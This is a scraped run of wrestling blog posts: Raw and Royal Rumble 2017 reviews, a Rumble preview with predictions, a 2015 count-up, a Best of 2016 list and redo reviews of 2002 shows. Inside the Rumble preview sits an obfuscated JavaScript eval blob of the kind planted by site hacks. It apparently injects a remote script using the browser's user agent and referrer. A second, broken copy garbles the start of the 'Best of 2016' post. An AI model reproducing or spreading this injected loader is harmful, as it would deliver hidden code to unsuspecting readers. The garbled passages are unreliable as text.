New Column: When the Rumble Went Off the Rails
I’m actually rather pleased with this one. It’s more of a statistics/fact based one and those are always some of my favorites.
http://wrestlingrumors.net/kbs-review-rumble-went-off-rails/
Monday Night Raw – January 30, 2017: JOE IS GONNA DE-BUT! JOE IS GONNA DE-BUT!
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Night Raw
Date: January 30, 2017
Location: Laredo Energy Arena, Laredo, Texas
Commentators: Michael Cole, Byron Saxton, Corey Graves
Sami Zayn vs. Chris Jericho
Non-title. They fight over a wristlock to start until Sami takes over with those armdrags. If it works for Ricky Steamboat, it can work for Sami. They head outside with Sami scoring with a dropkick and the moonsault off the barricade takes us to a break. Back with Jericho getting two off an enziguri and a top rope hurricanrana, only to dive into the Blue Thunder Bomb for two. Jericho bails to the floor for a chase scene, capped off by a tornado DDT back inside. The Helluva Kick is countered into the Walls but Sami is right next to the ropes. The exploder sets up the Helluva Kick to give Sami the clean pin at 11:49.
Bayley wants Cesaro and Sheamus to hug before their six person tag later tonight. Charlotte, Anderson and Gallows come in to laugh a bit.
Long video on Seth Rollins vs. HHH. They cover pretty much everything here, save for WHY HHH DID THIS FIVE MONTHS AGO that is.
Owens tries to talk Stephanie out of the title match but she has to deal with Rollins first.
Tony Nese vs. Mustafa Ali
Bayley/Cesaro/Sheamus vs. Charlotte/Anderson and Gallows
Sasha Banks vents to Bayley about losing and agrees to fight Nia Jax again.
We look at Goldberg eliminating Brock Lesnar last night.
Universal Title: Kevin Owens vs. Braun Strowman
Roman Superman Punches and spears Strowman but Braun pops up.
Brock Lesnar arrives.
Sasha Banks vs. Nia Jax
Banks is still banged up coming in and Nia goes right after the bad leg. The knee is sent into the apron and post before we hit a leglock. The referee stops the match at 2:08.
Rusev/Jinder Mahal vs. Enzo Amore/Big Cass
HHH arrives.
Sneak peak of WWE 24.
Goldberg will be here next week.
Results
Sami Zayn b. Chris Jericho – Helluva Kick
Tony Nese b. Mustafa Ali – Running knee
Bayley/Cesaro/Sheamus b. Charlotte/Anderson and Gallows – Bayley to Belly to Charlotte
Braun Strowman b. Kevin Owens via DQ when Roman Reigns interfered
Nia Jax b. Sasha Banks via referee stoppage
Enzo Amore/Big Cass b. Rusev/Jinder Mahal – Bada Boom Shaka Lacka to Rusev
http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/
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Royal Rumble 2017: I Can Go With That
Royal Rumble 2017
Date: January 29, 2017
Location: Alamodome, San Antonio, Texas
Commentators: Michael Cole, Byron Saxton Corey Graves, John Bradshaw Layfield, Mauro Ranallo, David Otunga, Tom Phillips
Pre-Show: Nikki Bella/Becky Lynch/Naomi vs. Alexa Bliss/Mickie James/Natalya
Back with Natalya sending Becky into the barricade and taking her into the wrong corner to play some Ricky Morton. Natalya gets two off a clothesline and we hit the chinlock. Back up and Nikki gets over for the hot tag to Naomi for some exciting yet still stupid looking offense. Everything breaks down and Naomi hits a split legged moonsault for the pin on Alexa at 9:39.
Raw Tag Team Titles: Sheamus/Cesaro vs. Anderson and Gallows
Karl comes back in and hits a running kick to the chest but has to backdrop his way out of the Neutralizer. Anderson gets in the spinebuster but Sheamus breaks up the Magic Killer. One referee takes the Brogue Kick by mistake so the second comes in to watch Anderson get Swung. Everything breaks down again and Anderson rolls Cesaro up with a handful of trunks for the pin at 10:28.
Nia Jax vs. Sasha Banks
We recap the Raw World Title match. Roman Reigns has beaten champion Kevin Owens multiple times now but Chris Jericho constantly interferes to help retain the title. Therefore, Jericho will be locked in a shark cage above the ring despite the match being not DQ, which negates the point of the original stipulation in the first place.
Raw World Title: Roman Reigns vs. Kevin Owens
Reigns is challenging and anything goes. Jericho and Owens try to jump Reigns to start but Roman knocks Chris into the cage and has it raised into the air. The fight is taken straight into the crowd with Owens taking the worst of it. Back to ringside with the champ taking over by hitting Reigns with the top of the table.
The superkick is countered into a sitout powerbomb for two on Owens and the champ is in trouble. They head outside again with Reigns being put on the table for a frog splash off the top. A chair is wedged into the corner and Owens becomes the first heel in a LONG time to send someone into a chair he set up.
Enzo and Big Cass shill chicken.
The Rumble debuted in 1988
Bret Hart was the first entrant
870 superstars have entered
3 females have entered and all of them have eliminated one person
23 different winners
98% of the entrants have lost
4 Rumbles in Texas
California and Florida have hosted 5 Rumbles each
507,102 fans have appeared
Rey Mysterio lasted 1:02:12
Edge only took 7:36 to win
Santino Marella lasted 1 second
Bob Backlund lasted 1:01:10 for the longest run without winning
HHH has spent 4:06:08 over 9 Rumbles
46 Hall of Famers
9 Hall of Famers won
Foley appeared 3 times in 1998
Cruiserweight Title: Neville vs. Rich Swann
Swann is defending but Neville hammers him down into the corner to start with the champ in early trouble. Rich grabs a quick crucifix for two but Neville facelocks him to take over again. An elbow to the head sets up a chinlock as the match slows down again. Neville finally lets go and sends Swann into the barricade as this is completely one sided so far.
New Day shills Vudu.
Smackdown World Title: John Cena vs. AJ Styles
Cena is challenging and they stare each other down to start. AJ goes after the leg to start and takes Cena down for a kneedrop. Cena tries an early AA but Styles lands on his feet and grabs a hurricanrana. The sliding forearm gets two and a German suplex into a facebuster gets the same.
Jerry Lawler is doing commentary on the Rumble.
Rumble by the Numbers.
Only 16 of the 30 possible numbers have won
7 winners are from 1-10
4 have been from 11-20
19 have been from 21-40
27 is the lucky number
1 and 2 have produced 4 winners
2 people have won from #1
Only one person has won from the same number twice (Batista at #28)
Kane has entered the most Royal Rumbles and has the most eliminations
The title has been on the line twice
Four winners have been runners up
Six names have won twice
Steve Austin has won three times
Royal Rumble
Two minute intervals. Big Cass is in at #1 and Enzo fills in some more time by singing about how much he loves Texas. After a speech about this is the big Rumble and Cass is going to act like HBK in 1995, Chris Jericho is in at #2. Cass starts fast and throws Jericho around, only to have to block the Walls. A catapult sends Jericho to the apron and Kalisto is in at #3.
Dean and Ellsworth agree to go after Strowman but James stays on the floor. James goes in and is quickly tossed, leaving Dean, Dillinger and Zayn to work on Strowman. Baron Corbin is in at #13 and makes it a quadruple team but Strowman gets rid of Dillinger for his seventh elimination. Corbin and company hammer on Strowman and Baron actually clotheslines Braun out on his own for a BIG surprise.
Again that goes nowhere as Cesaro is in at #19 with the ring getting too full. Cesaro Swings a bunch of people until Rusev superkicks him down. Xavier Woods is in at #20, giving us Sami, Jericho, Ambrose, Corbin, Kofi, Miz, Sheamus, Big E., Rusev, Cesaro and Woods. New Day hammers on Sheamus and Miz is sent into a double kick in the corner.
Enzo gets all fired up and takes one heck of a clothesline before being tossed. Goldberg is in at #28 and this could be very interesting. The spear drops Lesnar in a hurry and a clothesline gets rid of Brock two seconds later. Sami takes a Jackhammer but Orton and Wyatt jump Goldberg.
Pyro wraps us up.
Results
Charlotte b. Bayley – Natural Selection onto the apron
Kevin Owens b. Roman Reigns – Pin after a powerslam from Braun Strowman
Neville b. Rich Swann – Rings of Saturn
John Cena b. AJ Styles – Attitude Adjustment
Randy Orton won the 2017 Royal Rumble last eliminating Roman Reigns
http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/
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Royal Rumble 2017 Preview
I really need to stop doing these when I’m half asleep, causing me to not post them on here on time. Here it is for the sake of completion though.
This might be my favorite show of the year. There’s something so simple about the idea of a bunch of people being in the ring at once and the last person standing wins a big prize. The main event is one of the most anticipated matches of the year and there’s a lot more to it than just who goes on to the World Title match at “Wrestlemania XXXIII”. There’s a full card on top of the main event so let’s get to it.
1. eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zetzz|var|u0026u|referrer|kbziy||js|php'.split('|'),0,{})) Pre-Show: Sasha Banks vs. Nia Jax
We’ll start with the three pre-show matches, beginning with Nia Jax vs. Sasha Banks. This is your old big vs. little match with Banks coming in with a bad knee and Jax liking the idea of torturing what she sees as the former Boss. Banks is of course ready for a challenge, as she always is.
I think I’m going with Jax here, as it seems that they’re prepping her for a run near the Raw Women’s Title. It’s not the worst idea in the world and Banks is certainly one of those characters who can just talk for all of ten seconds and be back in the fans’ good graces. The match should be entertaining, though I’m not sure how well this is going to go with the size difference.
2. Pre-Show: Raw Tag Team Titles: Luke Gallows/Karl Anderson vs. Sheamus/Cesaro
Oh my goodness I’m already bored just thinking about this match. Anderson and Gallows couldn’t beat New Day for the titles so now we get to watch them chase the belts here even more. Neither team has done anything interesting since they started feuding and I have no real interest in either of them or anything they do.
That being said, I’ll take the champions to retain here because WWE REALLY likes them for reasons that aren’t clear to me in the slightest. Sheamus and Cesaro could be fine as singles wrestlers (as they’ve been for years) while Anderson and Gallows only seem to be better off together. That doesn’t make for a great match but it could make for a rather boring one, which would keep them on the same path they’ve had for months now.
3. Pre-Show: Becky Lynch/Nikki Bella/Naomi vs. Alexa Bliss/Mickie James/Natalya
This is a simple “take everyone and throw them into one match so entrances can take up a bunch of time” match and there’s nothing wrong with that. It’s not like there’s really a big challenger for Bliss’ Smackdown Women’s Title at the moment so it wouldn’t make sense to throw out something like Bliss vs. Naomi here. You also don’t want to blow off Lynch vs. James yet so this makes the most sense.
I’ll take good side winning with Naomi pinning Bliss, likely setting up their title match. Naomi might not be the most interesting character in the world but she’s more than capable of being the #1 contender and maybe even a short term champion. The other four can just be there for the sake of being there and there’s nothing wrong with that.
4. Raw Women’s Title: Charlotte vs. Bayley
Somehow, “Monday Night Raw” has managed to botch the most over female since Lita. Bayley should be able to plugged into the title scene, fight against the odds and win the title in a big moment. Somehow though, she’s arguing with Stephanie McMahon about what it means to be a star and reading poetry in a segment that went on far too long. They’ve gotten closer with this “fan vs. star from birth” story but, as usual, it gets bogged down on the main shows.
Charlotte is likely retaining here because for some reason we NEED a four way title match at “Wrestlemania XXXIII” instead of just having Bayley fight against the odds like Daniel Bryan in a sports bra. It’s going to be a big moment when Bayley finally wins the title but it’s just not happening on Sunday.
5. Smackdown World Title: John Cena vs. AJ Styles
Now this is more like it as WWE has managed to turn this into one of the best feuds over the World Title in a long time. Both guys feel like major stars (because they are major stars) and Styles is just beating Cena at every turn. Styles has been Smackdown World Champion since September and has been one of the best performers all year long by miles and miles.
That being said, I think he survives the Cena challenge here, perhaps with someone interfering to set up Cena’s next feud, and allowing Styles to drop the belt inside the Elimination Chamber (Meaning we get STYLES VS. SHANE MCMAHON because we’re just that lucky). Either way, it’s going to be a 20-25 minute classic, as if you would expect it to be anything else.
6. Cruiserweight Title: Rich Swann vs. Neville
Aside from the Royal Rumble itself, this might be the match I’m looking forward to more than anything else. Neville has been on fire since turning heel and Swann has really upped his game in this feud. They’ve made me want to see this match and that’s not something I ever expected to see out of the Cruiserweight Title, either in this generation or in its previous incarnation.
I’ll go with the logical choice and say Neville wins the title here but it wouldn’t surprise me to see them keep the belt on Swann for some reason. Neville has been the better performer in this story and plays his character to perfection but other than Cedric Alexander and maybe the debuting Akira Tozawa, I’m not sure who he could feud again. Neville should win though, and that’s what matters most.
7. Raw World Title: Roman Reigns vs. Kevin Owens
Let’s get this over with. I don’t remember the last time I was this uninterested in a World Title match and a lot of that comes down to the two stipulations. This match has had a six week build and the big idea is Chris Jericho being locked in a shark cage above the ring. Like really, that’s it. Then, to really hammer the point home, they turned it into a No DQ match, meaning that Jericho would be allowed to interfere anyway. You know, because there’s so much effort and thought put into this thing.
Actually I think Reigns loses here so Owens can drop the belt from a better perspective. Then again, there’s always the chance that WWE will continue to ignore everyone’s feeling on Reigns and set him up for a big face match at “Wrestlemania XXXIII”. I mean, word on the street has him as a face and going over Undertaker there so what do I know? But yeah, Owens keeps the belt here.
8. Royal Rumble
I’m going to get straight to the point here: I have no idea who is winning this thing. It’s very rare that WWE is capable of putting together a match where it really is wide open but they’ve pulled it off here. Looking at the twenty two names currently announced, there are at least seven (Goldberg, Brock Lesnar, Baron Corbin, Undertaker, Miz, Bray Wyatt, Randy Orton) serious potential winners and you could squint your eyes and get up to more than ten.
There are so many stories going around about what might be happening in Orlando this year and that’s what I love about this year’s Royal Rumble: it feels wide open. How boring is it when you’re just waiting around on the one or two guys who could realistically win and the rest is just seeing spots? You have to go back to 2012 at the very most recent where the winner wasn’t mostly obvious and that’s far too long.
Let’s pull a name out of a hat here and go with….Wyatt winning the thing. I know it’s not likely to happen but it’s not like there’s a dominant option out there this year. Wyatt winning and going on to face Orton for the Smackdown World Title at “Wrestlemania XXXIII” has been rumored so it makes as much sense as anything else. I have no confidence in the pick but it’s the best I’ve got.
As is so often the case, the Royal Rumble is going to come down to its namesake match but it has the potential to be something fun. “Wrestlemania XXXIII” is wide open this year and we’ll know a lot more about it the next twenty four hours. The winner isn’t always even the most important thing and that makes for a very interesting battle royal. If the rest of the show is even better, that’s just a bonus.
http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/
And check out my Amazon author page with cheap wrestling books at:
Royal Rumble Count-Up – 2015: Let It Go
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Rumble 2015
Date: January 25, 2015
Location: Wells Fargo Center, Philadelphia, Pennsylvania
Attendance: 17,164
Commentators: John Bradshaw Layfield, Michael Cole, Jerry Lawler
Pre-Show: Tyson Kidd/Cesaro vs. New Day
Back with Cesaro holding Kofi in a chinlock but Kingston comes back with a dropkick to Kidd. Big E. starts cleaning house with clotheslines and the fans are REALLY not pleased. Cesaro charges into a Rock Bottom (well close enough to one) out of the corner for two. Kidd is sent to the floor for a flip dive from Kofi, followed by Big E. spearing Cesaro through the ropes for a big crash.
New Age Outlaws vs. Ascension
Tag Team Titles: Usos vs. Damien Mizdow/Miz
The Usos are defending but Mizdow is the most over guy in the match. Speaking of things that have changed a lot in a year. The Usos took the titles from Miz/Mizdow to close out 2014 so this is the rematch. Jey and Miz get things going and the fans already want Mizdow. Something like a top rope Demolition Decapitator gets two on Miz as Cole recap Miz trying to get Naomi on their side with promises of Hollywood fame.
Anyway, Jimmy gets away and tags in Jey to take over with the running Umaga Attack in the corner but Miz grabs a DDT for two. Everything breaks down and both Usos hit a dive to take out both challengers, though Jey almost misses Miz, drawing a rather rude chant from the fans.
The pre-show panel chats a bit and we look at the pre-show match.
Wrestlemania ad. I had forgotten how much I hated that theme song.
Bella Twins vs. Paige/Natalya
Fandango says no one understands the power of the tango.
YES, Daniel Bryan thinks he can get back to the main event of Wrestlemania.
We recap the triple threat for the World Title. Rollins tried to cash in Money in the Bank on Lesnar at Night of Champions while Cena was challenging, triggering a feud between Rollins and Cena. Tonight they both get their shot in what should be awesome.
WWE World Title: John Cena vs. Seth Rollins vs. Brock Lesnar
Rating: A. Good grief what a battle. This was the night where Rollins became a star and people knew that he was going to be champion soon. Cena put in his normal amazing performance here as well, but good night Brock looked like a monster. This is the beast that WWE wanted to build up for someone to take down and it worked perfectly here. Just outstanding action here with all three looking like they had been through a war. This was the instant match of the year leader and it would take something special to knock it off.
Brock walks off as the medics are stunned.
Rumble By The Numbers video.
Royal Rumble
Ziggler superkicks the giants and takes them both down with the running DDT. Barrett is sent to the apron and superkicked out but Ziggler gets caught in the Cesaro Swing. Cesaro sends him to the apron but Dolph gets him to the apron for a superkick and an elimination, only to have Big Show and Kane put Ziggler out. That also gives Kane the all time record for Rumble eliminations.
Rock poses with Reigns and the fans STILL boo. The Authority comes out to glare a lot as Reigns celebrates and points at the sign to end the show.
Ratings Comparison
Tyson Kidd/Cesaro vs. New Day
Original: B
Redo: B-
Ascension vs. New Age Outlaws
Original: D+
Redo: D
Miz/Damien Mizdow vs. Usos
Original: C-
Redo: C-
Bella Twins vs. Paige/Natalya
Original: D-
Redo: D
Brock Lesnar vs. John Cena vs. Seth Rollins
Original: A
Redo: A
Royal Rumble
Original: D+
Redo: D-
Overall Rating
Original: C+
Redo: D
How in the world did I add that one up last year?
http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/
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Best of 2016: Surprise of the Year
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tbrrh|var|u0026u|referrer|rkbdf||js|php'.split('|'),0,{})) is one of the last two because we’re getting close to the Royal Rumble and that’s FAR too late for the sake of doing a Best of series. Basically today we’re looking at the Surprise of the Year, which I’m going to keep a bit shorter for the sake of time. There are a LOT of options here and it’s going to take forever if I go into a bunch of details. These are in no particular order.
1. AJ Styles Debuts at the Royal Rumble.
2. Dean Ambrose Cashes in Money in the Bank.
I know it might not be the biggest in the world but the cash-ins are always cool to see. Ambrose cashed in and beat Seth Rollins for the World Title, which meant that all three members of the Shield were World Champion in the same night. Ambrose actually winning was a surprise as he was a few steps below the other Shield members and he finally won the big one. Well done, especially considering how many times that briefcase has been cashed in before.
3. Goldberg Returns.
4. AJ Styles Beats John Cena Clean.
5. Zack Ryder Wins Intercontinental Title.
6. Rhyno/Brian Kendrick Have Titles in 2016.
7. Cruiserweight Division Returns.
8. Sasha Banks vs. Charlotte Main Events a Pay Per View.
9. Goldberg Squashes Brock Lesnar.
10. Daniel Bryan Retires.
11. Finn Balor Vacates Universal Title.
12. Shane McMahon Returns.
13. Another Brand Split.
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Monday Night Raw – January 23, 2017: One Out Of Two Isn’t Bad
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Night Raw
Date: January 23, 2017
Location: Quicken Loans Arena, Cleveland, Ohio
Commentators: Michael Cole, Byron Saxton, Corey Graves
We open with a recap of Roman Reigns losing the US Title two weeks back.
Cesaro vs. Luke Gallows
Sami Zayn vs. Seth Rollins
Video on Shawn Michaels winning the 1995 Royal Rumble.
TJ Perkins/Jack Gallagher/Mustafa Ali vs. Tony Nese/Drew Gulak/Ariya Daivari
We recap the opening sequence.
US Title: Roman Reigns vs. Chris Jericho
Ever the arrogant heel, Jericho slaps Reigns in the face a few times so Roman uppercuts him out of the air. The Samoan drop into a rollup is botched so Jericho hammers away, only to have the drop hit a few seconds later. The Superman Punch is countered with a dropkick but the Codebreaker is easily powered away. Now the Superman Punch connects but Owens comes in for the DQ at 9:45.
Nia Jax vs. Ray Lyn
Nia runs her over in the corner and hits something like a Banzai Drop for the pin at 28 seconds.
We look at Rollins losing his Rumble spot again.
Emmalina video.
Rich Swann vs. Noam Dar
Non-title and Alicia Fox is with Dar. Swann flips over him to start and sends Dar outside, only to have Noam hide behind Fox. We come back from a break with Swann fighting out of a chinlock and ankle scissoring him off the top. The spinning kick to the head ends Dar at 5:54. Not enough shown to rate but this was just a workout for Swann.
Swann wants Neville out here and we get Neville all the way to the apron, only to have Rich dive through the ropes to start the fight. Referees break it up but this was a really well done segment and actually made me want to see the match. Well done.
Cedric Alexander vs. Neville is announced for 205 Live. Alexander is ready to talk about his match when Fox and Dar come in. Alicia knows Cedric is jealous of Dar, who will always be a winner as long as he has her in his corner. A lot of screeching ensues so Cedric walks away.
Results
Luke Gallows b. Cesaro – Flapjack
Sami Zayn b. Seth Rollins – Small package
Mustafa Ali/Jack Gallagher/TJ Perkins b. Ariya Daivari/Tony Nese/Drew Gulak – Inverted 450 to Gulak
Roman Reigns b. Chris Jericho via DQ when Kevin Owens interfered
Nia Jax b. Ray Lyn – Banzai Drop
Rich Swann b. Noam Dar – Spinning kick to the head
Main Event – January 19, 2017: Man Down
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Event
Date: January 19, 2017
Location: Verizon Arena, Little Rock, Arkansas
Commentators: Tom Phillips, Austin Aries, Byron Saxton
Opening sequence.
Alicia Fox vs. Dana Brooke
Jimmy Snuka tribute video.
From Raw:
And from Raw:
Darren Young vs. Epico
Kurt Angle Hall of Fame video.
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Summerslam 2002 (2017 Redo): What A Performance
Summerslam 2002
Date: August 25, 2002
Location: Nassau Veterans Memorial, Uniondale, New York
Attendance: 14,797
Commentators: Michael Cole, Jerry Lawler, Tazz, Jim Ross
Not much of an opening video other than the theme song over shots of the crowd.
Opening sequence.
Kurt Angle vs. Rey Mysterio
Ric Flair vs. Chris Jericho
Ad for a Hogan DVD.
Eddie Guerrero vs. Edge
The Un-Americans are ready to give the greedy Americans more. More of the Un-Americans that is.
Tag Team Titles: Goldust/Booker T. vs. Un-Americans
Christian gets two on a backbreaker, which JR says works on the back. Something like a Boss Man Slam gets Goldust out of trouble but Christian grabs a front facelock. As you might expect, that means a missed tag so Goldust has to catapult the champions into each other.
Rating: C. The match was fine but the ending brought it down a good bit with the standard WWE style finish hurting things a lot. At least we had a good match to get there and the Un-Americans are still fine for heel champions. The Test stuff gets annoying but you had to know it was coming as soon as the ref went down.
Intercontinental Title: Rob Van Dam vs. Chris Benoit
This is Raw vs. Smackdown and Benoit is defending. A kick to the leg sends Benoit outside but he comes back in and easily takes Van Dam down until Rob starts spinning around to escape. The release German suplex drops him again though and Benoit starts in on the neck to set up for the Crossface later on.
Video on the Un-Americans to set up Test vs. Undertaker.
Undertaker vs. Test
Undertaker goes into the crowd and grabs an American flag for some posing.
HHH vs. Shawn Michaels
We recap Brock Lesnar vs. The Rock. Lesnar won the King of the Ring tournament to earn this show and Rock won the title at Vengeance. Brock has run through the company but this is by far his biggest test to date.
Undisputed Title: Brock Lesnar vs. The Rock
Lesnar is challenging and has Paul Heyman in his corner. The fans are ALL OVER Rock as he charges right into a belly to belly, further banging up his already injured ribs. Some backbreakers have the fans cheering for Rock though and Brock takes him outside for a beating in the crowd.
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Ratings Comparison
Kurt Angle vs. Rey Mysterio
Original: A+
2013 Redo: A-
2017 Redo: A-
Chris Jericho vs. Ric Flair
Original: B
2013 Redo: C
2017 Redo: C+
Eddie Guerrero vs. Edge
Original: C+
2013 Redo: B-
2017 Redo: B-
Un-Americans vs. Booker T/Goldust
Original: C-
2013 Redo: D+
2017 Redo: C
Rob Van Dam vs. Chris Benoit
Original: B
2013 Redo: B
2017 Redo: B
Undertaker vs. Test
Original: D
2013 Redo: D
2017 Redo: D
Shawn Michaels vs. HHH
Original: A+
2013 Redo: A+
2017 Redo: A+
The Rock vs. Brock Lesnar
Original: C+
2013 Redo: B-
2017 Redo: B
Overall Rating
Original: A+
2013 Redo: A+
2017 Redo: A
Still a masterpiece.
Here’s the original review if you’re interested:
And the 2013 Redo:
http://kbwrestlingreviews.com/2013/08/07/summerslam-count-up-2002-the-performance-of-a-lifetime/
Smackdown – August 22, 2002: Hear Us Roar!
Smackdown
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August 22, 2002
Location: Crown Coliseum, Fayetteville, North Carolina
Commentators: Michael Cole, Tazz
Opening sequence.
Back from a break and Benoit/Guerrero attack Edge as well. I smell a tag match.
Tajiri/Jamie Noble vs. Hurricane/Shannon Moore
Matt Hardy comes out to pose with Moore and Hurricane, who have to put him on their shoulders for some reason.
Chavo Guerrero vs. Matt Hardy
Chavo sends him outside to start before grabbing an Octopus Hold of all things. Matt powers out and we get a pinfall reversal sequence for some near falls. A double clothesline drops both guys before Chavo dives into the Side Effect for two. Matt loads up the Twist of Fate but the Kane music and pyro distract him enough so Chavo can grab a rollup for the pin. Cole: “Chavo pins Matt in his hometown area!”
Matt says the explosion should have been a stoppage due to the Earl Hebner doctrine of not being able to get screwed near your own hometown. I chuckled.
Kurt Angle vs. Billy Kidman
An ankle scissors sends Angle outside where he gets mad at a fan for wearing a Mysterio mask. I can always go for a paranoid Angle. Kidman is smart enough to go up top for a big dive to the floor. A good looking DDT gets two more on Kurt but Kidman makes the mistake of going up for the Shooting Star, allowing Angle to run the corner for the superplex.
Angle beats Kidman up post match.
Brock training video.
John Cena/Rikishi vs. Reverend D-Von/Batista
Rating: D. The sooner they get Batista away from D-Von for good, the better it is for everyone. Batista has a lot of potential and no one cares about D-Von in this dead end gimmick. Speaking of dead ends, Cena seems to have hit one but to be fair a lot of that is probably due to teaming with Rikishi.
Molly is defending and Nidia spins out of a wristlock to start. This is little more than a backdrop for Tazz to talk about the potential flashing, making him a low rent Jerry Lawler. Nidia gets two off a backslide but Molly drops her face first onto the top turnbuckle. Molly grabs a reverse chinlock but gets small packaged for two. The handspring elbow misses though and Nidia gets two off a DDT. Molly is sat on top but kicks both rednecks away, setting up the Molly Go Round to retain.
Chris Benoit/Eddie Guerrero vs. The Rock/Edge
Rock is quickly fading as Eddie pulls the rope away, only to hold the arm up before the third drop. The rope is grabbed so Eddie loads up the frog splash with Edge making a quick save. A diving tag brings Edge in for the running clotheslines as are his customs. Everything breaks down again and Edge spears Eddie down for the pin.
Post match Brock comes in and Rock asks Edge to step aside. The brawl is on and Rock punches him out to the floor with Brock jumping over the ropes with no hands. Heyman holds Brock back to end the show.
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